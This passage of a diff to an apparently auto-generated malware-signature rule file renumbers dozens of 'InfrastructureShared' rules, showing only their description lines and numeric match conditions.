00 03 00 21 " @@ -348700,7 +371118,7 @@ rule _InfrastructureShared_26618{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*105) >=3 } -rule _InfrastructureShared_26619{ +rule _InfrastructureShared_28333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348711,7 +371129,7 @@ rule _InfrastructureShared_26619{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_26620{ +rule _InfrastructureShared_28334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348723,7 +371141,7 @@ rule _InfrastructureShared_26620{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8960+(#a_01_2 & 1)*25927) >=3 } -rule _InfrastructureShared_26621{ +rule _InfrastructureShared_28335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -348735,7 +371153,7 @@ rule _InfrastructureShared_26621{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*20054+(#a_01_2 & 1)*26739) >=4 } -rule _InfrastructureShared_26622{ +rule _InfrastructureShared_28336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348747,7 +371165,7 @@ rule _InfrastructureShared_26622{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_26623{ +rule _InfrastructureShared_28337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348758,7 +371176,7 @@ rule _InfrastructureShared_26623{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_26624{ +rule _InfrastructureShared_28338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -348771,7 +371189,7 @@ rule _InfrastructureShared_26624{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19828+(#a_01_2 & 1)*29281+(#a_01_4 & 1)*114) >=4 } -rule _InfrastructureShared_26625{ +rule _InfrastructureShared_28339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -348783,7 +371201,7 @@ rule _InfrastructureShared_26625{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*30483+(#a_01_3 & 1)*111) >=6 } -rule _InfrastructureShared_26626{ +rule _InfrastructureShared_28340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348794,7 +371212,7 @@ rule _InfrastructureShared_26626{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*80) >=3 } -rule _InfrastructureShared_26627{ +rule _InfrastructureShared_28341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -348808,7 +371226,7 @@ rule _InfrastructureShared_26627{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26982+(#a_01_2 & 1)*82+(#a_01_3 & 1)*25939+(#a_01_4 & 1)*18789) >=5 } -rule _InfrastructureShared_26628{ +rule _InfrastructureShared_28342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348820,7 +371238,7 @@ rule _InfrastructureShared_26628{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*85+(#a_01_2 & 1)*30322) >=3 } -rule _InfrastructureShared_26629{ +rule _InfrastructureShared_28343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348831,7 +371249,7 @@ rule _InfrastructureShared_26629{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*68) >=3 } -rule _InfrastructureShared_26630{ +rule _InfrastructureShared_28344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348843,7 +371261,7 @@ rule _InfrastructureShared_26630{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*108+(#a_01_3 & 1)*28718) >=3 } -rule _InfrastructureShared_26631{ +rule _InfrastructureShared_28345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348856,7 +371274,7 @@ rule _InfrastructureShared_26631{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*11552+(#a_01_2 & 1)*27763+(#a_01_3 & 1)*26994) >=3 } -rule _InfrastructureShared_26632{ +rule _InfrastructureShared_28346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348868,7 +371286,7 @@ rule _InfrastructureShared_26632{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*121+(#a_01_2 & 1)*24878) >=3 } -rule _InfrastructureShared_26633{ +rule _InfrastructureShared_28347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348881,7 +371299,7 @@ rule _InfrastructureShared_26633{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28271+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*21017) >=3 } -rule _InfrastructureShared_26634{ +rule _InfrastructureShared_28348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -348894,7 +371312,7 @@ rule _InfrastructureShared_26634{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*28777+(#a_01_4 & 1)*24832) >=4 } -rule _InfrastructureShared_26635{ +rule _InfrastructureShared_28349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348906,7 +371324,7 @@ rule _InfrastructureShared_26635{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29803+(#a_01_2 & 1)*18765) >=3 } -rule _InfrastructureShared_26636{ +rule _InfrastructureShared_28350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -348919,7 +371337,7 @@ rule _InfrastructureShared_26636{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24942+(#a_01_3 & 1)*117+(#a_01_4 & 1)*3) >=5 } -rule _InfrastructureShared_26637{ +rule _InfrastructureShared_28351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348930,7 +371348,7 @@ rule _InfrastructureShared_26637{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285) >=3 } -rule _InfrastructureShared_26638{ +rule _InfrastructureShared_28352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348942,7 +371360,7 @@ rule _InfrastructureShared_26638{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*114+(#a_01_2 & 1)*108) >=3 } -rule _InfrastructureShared_26639{ +rule _InfrastructureShared_28353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 05 00 21 " @@ -348955,7 +371373,7 @@ rule _InfrastructureShared_26639{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*25961+(#a_01_3 & 1)*21346) >=9 } -rule _InfrastructureShared_26640{ +rule _InfrastructureShared_28354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348968,7 +371386,7 @@ rule _InfrastructureShared_26640{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*12148+(#a_01_2 & 1)*26995+(#a_01_3 & 1)*110) >=3 } -rule _InfrastructureShared_26641{ +rule _InfrastructureShared_28355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348979,7 +371397,7 @@ rule _InfrastructureShared_26641{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*114) >=3 } -rule _InfrastructureShared_26642{ +rule _InfrastructureShared_28356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348991,7 +371409,7 @@ rule _InfrastructureShared_26642{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*102+(#a_01_2 & 1)*8556) >=3 } -rule _InfrastructureShared_26643{ +rule _InfrastructureShared_28357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -349004,7 +371422,7 @@ rule _InfrastructureShared_26643{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*95+(#a_01_2 & 1)*3+(#a_01_3 & 1)*19525) >=5 } -rule _InfrastructureShared_26644{ +rule _InfrastructureShared_28358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349016,7 +371434,7 @@ rule _InfrastructureShared_26644{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*104+(#a_01_3 & 1)*105) >=3 } -rule _InfrastructureShared_26645{ +rule _InfrastructureShared_28359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349027,7 +371445,7 @@ rule _InfrastructureShared_26645{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*116) >=3 } -rule _InfrastructureShared_26646{ +rule _InfrastructureShared_28360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349038,7 +371456,7 @@ rule _InfrastructureShared_26646{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_26647{ +rule _InfrastructureShared_28361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349048,7 +371466,7 @@ rule _InfrastructureShared_26647{ ((#a_01_0 & 1)*21539) >=3 } -rule _InfrastructureShared_26648{ +rule _InfrastructureShared_28362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349060,7 +371478,7 @@ rule _InfrastructureShared_26648{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*111+(#a_01_3 & 1)*16722) >=3 } -rule _InfrastructureShared_26649{ +rule _InfrastructureShared_28363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -349072,7 +371490,7 @@ rule _InfrastructureShared_26649{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*65+(#a_01_3 & 1)*22330) >=4 } -rule _InfrastructureShared_26650{ +rule _InfrastructureShared_28364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349085,7 +371503,7 @@ rule _InfrastructureShared_26650{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*101+(#a_01_2 & 1)*29541+(#a_01_3 & 1)*114) >=3 } -rule _InfrastructureShared_26651{ +rule _InfrastructureShared_28365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349097,7 +371515,7 @@ rule _InfrastructureShared_26651{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*117+(#a_01_3 & 1)*13166) >=3 } -rule _InfrastructureShared_26652{ +rule _InfrastructureShared_28366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -349110,7 +371528,7 @@ rule _InfrastructureShared_26652{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24387+(#a_01_2 & 1)*24893+(#a_01_4 & 1)*116) >=3 } -rule _InfrastructureShared_26653{ +rule _InfrastructureShared_28367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349121,7 +371539,7 @@ rule _InfrastructureShared_26653{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*110) >=3 } -rule _InfrastructureShared_26654{ +rule _InfrastructureShared_28368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349132,7 +371550,7 @@ rule _InfrastructureShared_26654{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*32) >=3 } -rule _InfrastructureShared_26655{ +rule _InfrastructureShared_28369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349145,7 +371563,7 @@ rule _InfrastructureShared_26655{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*101+(#a_01_2 & 1)*14924+(#a_01_3 & 1)*28788) >=3 } -rule _InfrastructureShared_26656{ +rule _InfrastructureShared_28370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -349158,7 +371576,7 @@ rule _InfrastructureShared_26656{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29296+(#a_01_2 & 1)*4+(#a_01_3 & 1)*21539) >=4 } -rule _InfrastructureShared_26657{ +rule _InfrastructureShared_28371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -349170,7 +371588,7 @@ rule _InfrastructureShared_26657{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*110+(#a_01_3 & 1)*21539) >=4 } -rule _InfrastructureShared_26658{ +rule _InfrastructureShared_28372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -349182,7 +371600,7 @@ rule _InfrastructureShared_26658{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*118+(#a_01_3 & 1)*0) >=3 } -rule _InfrastructureShared_26659{ +rule _InfrastructureShared_28373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349193,7 +371611,7 @@ rule _InfrastructureShared_26659{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*68) >=3 } -rule _InfrastructureShared_26660{ +rule _InfrastructureShared_28374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -349205,7 +371623,7 @@ rule _InfrastructureShared_26660{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*114+(#a_01_3 & 1)*32) >=5 } -rule _InfrastructureShared_26661{ +rule _InfrastructureShared_28375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -349218,7 +371636,7 @@ rule _InfrastructureShared_26661{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 } -rule _InfrastructureShared_26662{ +rule _InfrastructureShared_28376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " @@ -349232,7 +371650,7 @@ rule _InfrastructureShared_26662{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*8803+(#a_01_2 & 1)*29791+(#a_01_3 & 1)*23653+(#a_01_4 & 1)*24842) >=6 } -rule _InfrastructureShared_26663{ +rule _InfrastructureShared_28377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -349245,7 +371663,7 @@ rule _InfrastructureShared_26663{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11851+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*46) >=4 } -rule _InfrastructureShared_26664{ +rule _InfrastructureShared_28378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 0a 00 21 " @@ -349261,7 +371679,7 @@ rule _InfrastructureShared_26664{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*122+(#a_01_2 & 1)*111+(#a_01_3 & 1)*111+(#a_01_4 & 1)*116+(#a_01_6 & 1)*34+(#a_01_8 & 1)*115) >=3 } -rule _InfrastructureShared_26665{ +rule _InfrastructureShared_28379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -349273,7 +371691,7 @@ rule _InfrastructureShared_26665{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*115+(#a_01_3 & 1)*111) >=5 } -rule _InfrastructureShared_26666{ +rule _InfrastructureShared_28380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349284,7 +371702,7 @@ rule _InfrastructureShared_26666{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*97) >=3 } -rule _InfrastructureShared_26667{ +rule _InfrastructureShared_28381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 01 00 21 " @@ -349294,7 +371712,7 @@ rule _InfrastructureShared_26667{ ((#a_01_0 & 1)*21539) >=4 } -rule _InfrastructureShared_26668{ +rule _InfrastructureShared_28382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -349305,7 +371723,7 @@ rule _InfrastructureShared_26668{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*0) >=1 } -rule _InfrastructureShared_26669{ +rule _InfrastructureShared_28383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349315,7 +371733,7 @@ rule _InfrastructureShared_26669{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26670{ +rule _InfrastructureShared_28384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 04 00 21 " @@ -349328,7 +371746,7 @@ rule _InfrastructureShared_26670{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101+(#a_01_2 & 1)*29295+(#a_01_3 & 1)*28515) >=12 } -rule _InfrastructureShared_26671{ +rule _InfrastructureShared_28385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349338,7 +371756,7 @@ rule _InfrastructureShared_26671{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26672{ +rule _InfrastructureShared_28386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -349351,7 +371769,7 @@ rule _InfrastructureShared_26672{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*110+(#a_01_2 & 1)*19791+(#a_01_3 & 1)*-31232) >=4 } -rule _InfrastructureShared_26673{ +rule _InfrastructureShared_28387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 02 00 0c 00 21 " @@ -349370,7 +371788,7 @@ rule _InfrastructureShared_26673{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*10497+(#a_01_2 & 1)*-27896+(#a_01_4 & 1)*-1532+(#a_01_5 & 1)*27715+(#a_01_7 & 1)*-11929+(#a_01_8 & 1)*7911+(#a_01_9 & 1)*0+(#a_01_10 & 1)*0+(#a_01_11 & 1)*0) >=2 } -rule _InfrastructureShared_26674{ +rule _InfrastructureShared_28388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 03 00 2c 00 21 " @@ -349423,7 +371841,7 @@ rule _InfrastructureShared_26674{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*-31937+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*0+(#a_01_22 & 1)*26469+(#a_01_23 & 1)*25964+(#a_01_24 & 1)*26469+(#a_01_25 & 1)*25964+(#a_01_26 & 1)*26469+(#a_01_27 & 1)*25964+(#a_01_28 & 1)*26469+(#a_01_29 & 1)*25964+(#a_01_30 & 1)*26469+(#a_01_31 & 1)*25964+(#a_01_32 & 1)*26469+(#a_01_33 & 1)*25964+(#a_01_34 & 1)*26469+(#a_01_35 & 1)*25964+(#a_01_36 & 1)*26469+(#a_01_37 & 1)*25964+(#a_01_38 & 1)*26469+(#a_01_39 & 1)*25964+(#a_01_40 & 1)*26469+(#a_01_41 & 1)*25964+(#a_01_42 & 1)*26469+(#a_01_43 & 1)*25964) >=3 } -rule _InfrastructureShared_26675{ +rule _InfrastructureShared_28389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349433,7 +371851,7 @@ rule _InfrastructureShared_26675{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26676{ +rule _InfrastructureShared_28390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349443,7 +371861,7 @@ rule _InfrastructureShared_26676{ ((#a_01_0 & 1)*17955) >=1 } -rule _InfrastructureShared_26677{ +rule _InfrastructureShared_28391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349453,7 +371871,7 @@ rule _InfrastructureShared_26677{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26678{ +rule _InfrastructureShared_28392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349463,7 +371881,7 @@ rule _InfrastructureShared_26678{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26679{ +rule _InfrastructureShared_28393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -349473,7 +371891,7 @@ rule _InfrastructureShared_26679{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_26680{ +rule _InfrastructureShared_28394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349483,7 +371901,7 @@ rule _InfrastructureShared_26680{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26681{ +rule _InfrastructureShared_28395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -349493,7 +371911,7 @@ rule _InfrastructureShared_26681{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_26682{ +rule _InfrastructureShared_28396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349503,7 +371921,7 @@ rule _InfrastructureShared_26682{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26683{ +rule _InfrastructureShared_28397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349513,7 +371931,7 @@ rule _InfrastructureShared_26683{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26684{ +rule _InfrastructureShared_28398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349523,7 +371941,7 @@ rule _InfrastructureShared_26684{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26685{ +rule _InfrastructureShared_28399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349533,7 +371951,7 @@ rule _InfrastructureShared_26685{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26686{ +rule _InfrastructureShared_28400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349543,7 +371961,7 @@ rule _InfrastructureShared_26686{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26687{ +rule _InfrastructureShared_28401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349553,7 +371971,7 @@ rule _InfrastructureShared_26687{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26688{ +rule _InfrastructureShared_28402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -349564,7 +371982,7 @@ rule _InfrastructureShared_26688{ ((#a_01_0 & 1)*21027+(#a_01_1 & 1)*21500) >=1 } -rule _InfrastructureShared_26689{ +rule _InfrastructureShared_28403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -349576,7 +371994,7 @@ rule _InfrastructureShared_26689{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_26690{ +rule _InfrastructureShared_28404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349586,7 +372004,7 @@ rule _InfrastructureShared_26690{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26691{ +rule _InfrastructureShared_28405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349596,7 +372014,7 @@ rule _InfrastructureShared_26691{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26692{ +rule _InfrastructureShared_28406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349606,7 +372024,7 @@ rule _InfrastructureShared_26692{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26693{ +rule _InfrastructureShared_28407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -349617,7 +372035,7 @@ rule _InfrastructureShared_26693{ ((#a_01_0 & 1)*17955+(#a_01_1 & 1)*29550) >=2 } -rule _InfrastructureShared_26694{ +rule _InfrastructureShared_28408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -349627,7 +372045,7 @@ rule _InfrastructureShared_26694{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_26695{ +rule _InfrastructureShared_28409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349637,7 +372055,7 @@ rule _InfrastructureShared_26695{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26696{ +rule _InfrastructureShared_28410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349647,7 +372065,7 @@ rule _InfrastructureShared_26696{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26697{ +rule _InfrastructureShared_28411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349657,7 +372075,7 @@ rule _InfrastructureShared_26697{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26698{ +rule _InfrastructureShared_28412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349667,7 +372085,7 @@ rule _InfrastructureShared_26698{ ((#a_01_0 & 1)*26403) >=1 } -rule _InfrastructureShared_26699{ +rule _InfrastructureShared_28413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -349678,7 +372096,7 @@ rule _InfrastructureShared_26699{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*1042) >=1 } -rule _InfrastructureShared_26700{ +rule _InfrastructureShared_28414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 01 00 21 " @@ -349688,7 +372106,7 @@ rule _InfrastructureShared_26700{ ((#a_01_0 & 1)*18467) >=40 } -rule _InfrastructureShared_26701{ +rule _InfrastructureShared_28415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349698,7 +372116,7 @@ rule _InfrastructureShared_26701{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26702{ +rule _InfrastructureShared_28416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349708,7 +372126,7 @@ rule _InfrastructureShared_26702{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26703{ +rule _InfrastructureShared_28417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349718,7 +372136,7 @@ rule _InfrastructureShared_26703{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_26704{ +rule _InfrastructureShared_28418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349728,7 +372146,7 @@ rule _InfrastructureShared_26704{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26705{ +rule _InfrastructureShared_28419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349738,7 +372156,7 @@ rule _InfrastructureShared_26705{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26706{ +rule 